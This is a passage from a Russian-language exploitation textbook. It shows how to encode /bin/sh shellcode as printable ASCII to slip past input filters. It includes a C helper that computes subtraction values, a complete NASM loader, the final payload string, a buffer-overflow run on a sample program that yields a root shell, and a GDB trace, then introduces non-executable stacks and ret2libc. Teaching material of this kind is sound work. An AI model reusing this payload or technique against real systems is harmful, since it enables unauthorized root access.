410
0x600 Противодействие
А поскольку команды pop и push для обоих регистров EAX и ESP ассем- блируются в отображаемые символы ASCII, все это можно сделать с по- мощью отображаемого ASCII.
Итак, окончательная группа команд, прибавляющая 860 к ESP:
push esp ; Ассемблируется в T
pop eax ; Ассемблируется в X
sub eax, 0x39393333 ; Ассемблируется в -3399
sub eax, 0x72727550 ; Ассемблируется в -Purr sub eax, 0x54545421 ; Ассемблируется в -!TTT
push eax ; Ассемблируется в P
pop esp ; Ассемблируется в \
Это означает, что цепочка TX-3399-Purr-!TTT P\ в машинном коде приба- вит 860 к ESP. Пока все идет хорошо. Теперь надо построить шелл-код.
Для начала еще раз обнулим EAX, но теперь, зная принцип, это легко сделать. Затем с помощью других команд sub получим в регистре EAX последние четыре байта шелл-кода в обратном порядке. Так как стек обычно растет вверх (в направлении младших адресов памяти) и стро- ится по схеме FILO, первым помещенным в стек значением должны быть последние четыре байта шелл-кода. Эти байты должны разме- щаться в обратном порядке, соответствующем нашей архитектуре.
Вот шестнадцатеричный дамп стандартного шелл-кода, использовав- шегося в предыдущих главах, который будет строиться кодом загруз- чика:
reader@hacking:
/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|
Здесь полужирным выделены последние четыре байта: в регистре EAX должно быть значение 0x80cde189. Его нетрудно получить с помощью команд циклического вычитания, а затем можно протолкнуть EAX в стек. В результате ESP сместится вверх (в сторону младших адресов памяти), в конец только что записанного значения, и будет готов к при- нятию очередных четырех байт шелл-кода (в предыдущем дампе выде- лены курсивом). С помощью очередной группы команд sub в EAX будет помещено значение 0x53e28951, которое также протолкнем в стек. По- вторяя эту процедуру для каждого четырехбайтного фрагмента, стро- им шелл-код в направлении от конца к началу – навстречу выполняе- мому коду загрузчика.
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|
0x690 Ограничения, налагаемые на буфер
411
В итоге будет достигнуто начало шелл-кода, но после того как в стек бу- дет помещено значение 0x99c931db, останутся только три байта (в пред- ыдущем шелл-коде выделены курсивом). Положение можно улуч- шить, поместив в начало кода одну однобайтную команду NOP, что при- ведет к проталкиванию в стек значения 0x31c03190 (0x90 – машинный код NOP).
Каждый из четырехбайтных фрагментов первоначального шелл-кода создается с помощью того же метода вычитания с отображаемыми сим- волами. Следующая программа помогает рассчитать нужные отобра- жаемые величины.
printable_helper.c
#include
#include
#include
#include
#include
#include
#define CHR “%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW
XYZ-”
int main(int argc, char* argv[])
{
unsigned int targ, last, t[4], l[4];
unsigned int try, single, carry=0;
int len, a, i, j, k, m, z, flag=0;
char word[3][4];
unsigned char mem[70];
if(argc < 2) {
printf(“Usage: %s \n”, argv[0]);
exit(1);
}
srand(time(NULL));
bzero(mem, 70);
strcpy(mem, CHR);
len = strlen(mem);
strfry(mem); // Случайный порядок last = strtoul(argv[1], NULL, 0);
targ = strtoul(argv[2], NULL, 0);
printf(“calculating printable values to subtract from EAX..\n\n”);
t[3] = (targ & 0xff000000)>>24; // Разбить на байты t[2] = (targ & 0x00ff0000)>>16;
t[1] = (targ & 0x0000ff00)>>8;
t[0] = (targ & 0x000000ff);
l[3] = (last & 0xff000000)>>24;
l[2] = (last & 0x00ff0000)>>16;
412
0x600 Противодействие l[1] = (last & 0x0000ff00)>>8;
l[0] = (last & 0x000000ff);
for(a=1; a < 5; a++) { // Счетчик значений carry = flag = 0;
for(z=0; z < 4; z++) { // Счетчик байтов for(i=0; i < len; i++) {
for(j=0; j < len; j++) {
for(k=0; k < len; k++) {
for(m=0; m < len; m++)
{
if(a < 2) j = len+1;
if(a < 3) k = len+1;
if(a < 4) m = len+1;
try = t[z] + carry+mem[i]+mem[j]+mem[k]+mem[m];
single = (try & 0x000000ff);
if(single == l[z])
{
carry = (try & 0x0000ff00)>>8;
if(i < len) word[0][z] = mem[i];
if(j < len) word[1][z] = mem[j];
if(k < len) word[2][z] = mem[k];
if(m < len) word[3][z] = mem[m];
i = j = k = m = len+2;
flag++;
}
}
}
}
}
}
if(flag == 4) { // Если найдены все 4 байта printf(“start: 0x%08x\n\n”, last);
for(i=0; i < a; i++)
printf(“ - 0x%08x\n”, *((unsigned int *)word[i]));
printf(“-------------------\n”);
printf(“end: 0x%08x\n”, targ);
exit(0);
}
}
При запуске эта программа ожидает два аргумента: начальное и ко- нечное значения для EAX. Для шелл-кода отображаемого загрузчика в EAX сначала находится ноль, а конечным значением должно быть
0x80cde189
. Это значение соответствует последним четырем байтам
shellcode.bin.
reader@hacking:/booksrc $ gcc -o printable_helper printable_helper.c reader@hacking:/booksrc $ ./printable_helper 0 0x80cde189
calculating printable values to subtract from EAX..
0x690 Ограничения, налагаемые на буфер
413start: 0x00000000
- 0x346d6d25
- 0x256d6d25
- 0x2557442d
------------------- end: 0x80cde189
reader@hacking:/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53
89 |//shh/bin..Q..S.|
00000020
e1 cd 80 |...|
00000023
reader@hacking:/booksrc $ ./printable_helper 0x80cde189 0x53e28951
calculating printable values to subtract from EAX..
start: 0x80cde189
- 0x59316659
- 0x59667766
- 0x7a537a79
------------------- end: 0x53e28951
reader@hacking:/booksrc $
Здесь показано,
какие отображаемые значения нужны, чтобы цикли- ческим вычитанием привести обнуленный регистр EAX к 0x80cde189
(выделены полужирным). Для следующих четырех байтов шелл-кода
(двигаясь в обратном направлении) значение EAX нужно привести к 0x53e28951. Процесс повторяется, пока не будет построен весь шелл- код. Ниже приведен код всей процедуры.
printable.sBITS 32
push esp ; Поместить текущий ESP
pop eax ; в EAX.
sub eax,0x39393333 ; Вычитать отображаемые значения,
sub eax,0x72727550 ; чтобы прибавить 860 к EAX.
sub eax,0x54545421
push eax ; Вернуть EAX в ESP.
pop esp ; В итоге ESP = ESP + 860
and eax,0x454e4f4a and eax,0x3a313035 ; Обнулить EAX.
sub eax,0x346d6d25 ; Вычитать отображаемые значения,
sub eax,0x256d6d25 ; чтобы получить EAX = 0x80cde189.
sub eax,0x2557442d ; (последние 4 байта shellcode.bin)
push eax ; Протолкнуть эти байты в стек (ESP).
sub eax,0x59316659 ; Вычитать отображаемые значения,
sub eax,0x59667766 ; чтобы получить = 0x53e28951.
sub eax,0x7a537a79 ; (следующие 4 байта от конца шелл-кода)
push eax
414
0x600 Противодействие sub eax,0x25696969
sub eax,0x25786b5a sub eax,0x25774625
push eax ; EAX = 0xe3896e69
sub eax,0x366e5858
sub eax,0x25773939
sub eax,0x25747470
push eax ; EAX = 0x622f6868
sub eax,0x25257725
sub eax,0x71717171
sub eax,0x5869506a push eax ; EAX = 0x732f2f68
sub eax,0x63636363
sub eax,0x44307744
sub eax,0x7a434957
push eax ; EAX = 0x51580b6a sub eax,0x63363663
sub eax,0x6d543057
push eax ; EAX = 0x80cda4b0
sub eax,0x54545454
sub eax,0x304e4e25
sub eax,0x32346f25
sub eax,0x302d6137
push eax ; EAX = 0x99c931db sub eax,0x78474778
sub eax,0x78727272
sub eax,0x774f4661
push eax ; EAX = 0x31c03190
sub eax,0x41704170
sub eax,0x2d772d4e sub eax,0x32483242
push eax ; EAX = 0x90909090
push eax push eax ; Построить NOP-цепочку.
push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax
0x690 Ограничения, налагаемые на буфер
415push eax push eax
После всех этих операций где-то
дальше загрузчика оказывается шелл-код, и, скорее всего, между ним и выполняемым кодом загрузчи- ка остается некоторый промежуток. Разрыв между кодом загрузчика и шелл-кодом можно перекрыть NOP-цепочкой.
И снова запись в EAX значения 0x90909090 осуществляется командами sub
, а затем EAX проталкивается в стек. Каждая команда push присое- диняет к началу шелл-кода четыре команды NOP. В конечном счете эти команды NOP станут записываться поверх выполняемых команд push в коде загрузчика, что позволит EIP и программе проскочить по NOP- цепочке к шелл-коду.
В итоге получаем отображаемую строку ASCII, которая в то же время является исполняемым машинным кодом.
reader@hacking:/booksrc $ nasm printable.s reader@hacking:/booksrc $ echo $(cat ./printable)
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-
%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-
%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP
reader@hacking:/booksrc $
Такой шелл-код в виде отображаемых символов ASCII уже можно про- тащить через бдительную процедуру контроля входных данных про- граммы.
reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “AAAA”x10’) $(cat
./printable)
[DEBUG]: desc argument is at 0xbffff910
Segmentation fault reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “\x10\xf9\xff\
xbf”x10’) $(cat ./printable)
[DEBUG]: desc argument is at 0xbffff910
Updating product ########### with description ‘TX-3399-Purr-TTTP\%JONE%501:-
%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq- jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-
N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP’
sh-3.2# whoami root sh-3.2#
Отлично. Если вы не до конца поняли, что здесь произошло, то ниже показано, как этот отображаемый шелл-код выполняется в GDB. Адре- са в стеке будут несколько иными, и адрес возврата изменится, но это не мешает шелл-коду: вычисление адресов через ESP делает его уни- версальным.
reader@hacking:/booksrc $ gdb -q ./update_info
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) disass update_product_description
4160x600 Противодействие
Dump of assembler code for function update_product_description:
0x080484a8
: push ebp
0x080484a9 : mov ebp,esp
0x080484ab : sub esp,0x28 0x080484ae : mov eax,DWORD PTR [ebp+8]
0x080484b1 : mov DWORD PTR [esp+4],eax
0x080484b5 : lea eax,[ebp-24]
0x080484b8 : mov DWORD PTR [esp],eax
0x080484bb : call 0x8048388
0x080484c0 : mov eax,DWORD PTR [ebp+12]
0x080484c3 : mov DWORD PTR [esp+8],eax
0x080484c7 : lea eax,[ebp-24]
0x080484ca : mov DWORD PTR [esp+4],eax
0x080484ce : mov DWORD PTR [esp],0x80487a0 0x080484d5 : call 0x8048398 0x080484da : leave
0x080484db : ret
End of assembler dump.
(gdb) break *0x080484db
Breakpoint 1 at 0x80484db: file update_info.c, line 21.
(gdb) run $(perl -e ‘print “AAAA”x10’) $(cat ./printable)
Starting program: /home/reader/booksrc/update_info $(perl -e ‘print
“AAAA”x10’) $(cat ./printable)
[DEBUG]: desc argument is at 0xbffff8fd
Program received signal SIGSEGV, Segmentation fault.
0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) run $(perl -e ‘print “\xfd\xf8\xff\xbf”x10’) $(cat ./printable)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/update_info $(perl -e ‘print “\xfd\
xf8\xff\xbf”x10’)
$(cat ./printable)
[DEBUG]: desc argument is at 0xbffff8fd
Updating product # with description ‘TX-3399-Purr-!TTTP\%JONE%501:-%mm4-
%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP- cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--
B2H2PPPPPPPPPPPPPPPPPPPPPP’
Breakpoint 1, 0x080484db in update_product_description (
id=0x72727550 ,
desc=0x5454212d ) at update_info.c:21 21 }
(gdb) stepi
0xbffff8fd in ?? ()
(gdb) x/9i $eip
0xbffff8fd: push esp
0xbffff8fe: pop eax
0xbffff8ff: sub eax,0x39393333 0xbffff904: sub eax,0x72727550
0x690 Ограничения, налагаемые на буфер
417
0xbffff909: sub eax,0x54545421 0xbffff90e: push eax
0xbffff90f: pop esp
0xbffff910: and eax,0x454e4f4a
0xbffff915: and eax,0x3a313035
(gdb) i r esp esp 0xbffff6d0 0xbffff6d0
(gdb) p /x $esp + 860
$1 = 0xbffffa2c
(gdb) stepi 9 0xbffff91a in ?? ()
(gdb) i r esp eax esp 0xbffffa2c 0xbffffa2c eax 0x0 0
(gdb)
Первые девять команд прибавляют к ESP 860 и обнуляют регистр EAX.
Следующие восемь команд проталкивают последние восемь байт шелл- кода в стек кусками по 4 байта. Этот процесс повторяется в следующих
32 командах, в результате чего в стеке выстраивается весь шелл-код.
(gdb) x/8i $eip
0xbffff91a: sub eax,0x346d6d25 0xbffff91f: sub eax,0x256d6d25 0xbffff924: sub eax,0x2557442d
0xbffff929: push eax
0xbffff92a: sub eax,0x59316659 0xbffff92f: sub eax,0x59667766 0xbffff934: sub eax,0x7a537a79 0xbffff939: push eax
(gdb) stepi 8 0xbffff93a in ?? ()
(gdb) x/4x $esp
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
(gdb) stepi 32 0xbffff9ba in ?? ()
(gdb) x/5i $eip
0xbffff9ba: push eax
0xbffff9bb: push eax
0xbffff9bc: push eax
0xbffff9bd: push eax
0xbffff9be: push eax
(gdb) x/16x $esp
0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0 0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) i r eip esp eax eip 0xbffff9ba 0xbffff9ba esp 0xbffffa04 0xbffffa04
eax 0x90909090 -1869574000
(gdb)
4180x600 Противодействие
Теперь, когда шелл-код полностью построен в стеке, EAX устанавли- вается равным 0x90909090. Это значение многократно проталкивается в стек, чтобы построить NOP-цепочку, которая соединит конец кода загрузчика с построенным шелл-кодом.
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 10 0xbffff9c4 in ?? ()
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 5 0xbffff9c9 in ?? ()
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050 0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb)
Теперь указатель команды (EIP) может проскочить по NOP-мостику в построенный шелл-код.
Метод отображаемого шелл-кода может открыть некоторые двери. Он и другие обсуждавшиеся нами приемы – это лишь кирпичики, кото- рые можно складывать в мириадах разных комбинаций. Их примене- ние требует некоторой изобретательности. Тот, кто умнее, обыграет со- перника на его собственном поле.
0x6a0 Усиление противодействияТехника эксплойта, продемонстрированная в этой главе, известна дав- но. У программистов было достаточно времени, чтобы предложить ра- зумные способы защиты. Эксплойт можно представить как процесс из трех этапов: сначала тем или иным
способом разрушить данные в па- мяти, потом изменить порядок управления и, наконец, выполнить шелл-код.
0x6b0 Неисполняемый стек
4190x6b0 Неисполняемый стекБольшинству приложений никогда не требуется выполнять что-либо в стеке, поэтому очевидной мерой защиты от переполнения буфера будет сделать стек неисполняемым. В этом случае внедренный в стек шелл-код становится бесполезным. Такой тип защиты обезврежива- ет большинство эксплойтов и становится все более популярным. В по- следней версии OpenBSD стек неисполняемый по умолчанию, а в Linux неисполняемый стек устанавливается через патч ядра PaX.
0x6b1 Возврат в libc (ret2libc)Конечно, есть и соответствующая технология, применяемая для об- хода данной системы защиты. Эта технология называется
ret2libc (от
returning into libc – возврат в
libc). Стандартная библиотека C
libc со- держит различные базовые функции, такие как printf() и exit(). Это общие функции,
поэтому любая программа, вызывающая функцию printf()
, переадресует выполнение в соответствующее место в
libc. Экс- плойт может сделать то же самое и переадресовать выполнение про- граммы некоторой функции в
libc. Функциональность эксплойта при этом ограничена функциями из
libc, и по сравнению с произвольным шелл-кодом она существенно уже. Зато в стеке никогда ничего не вы- полняется.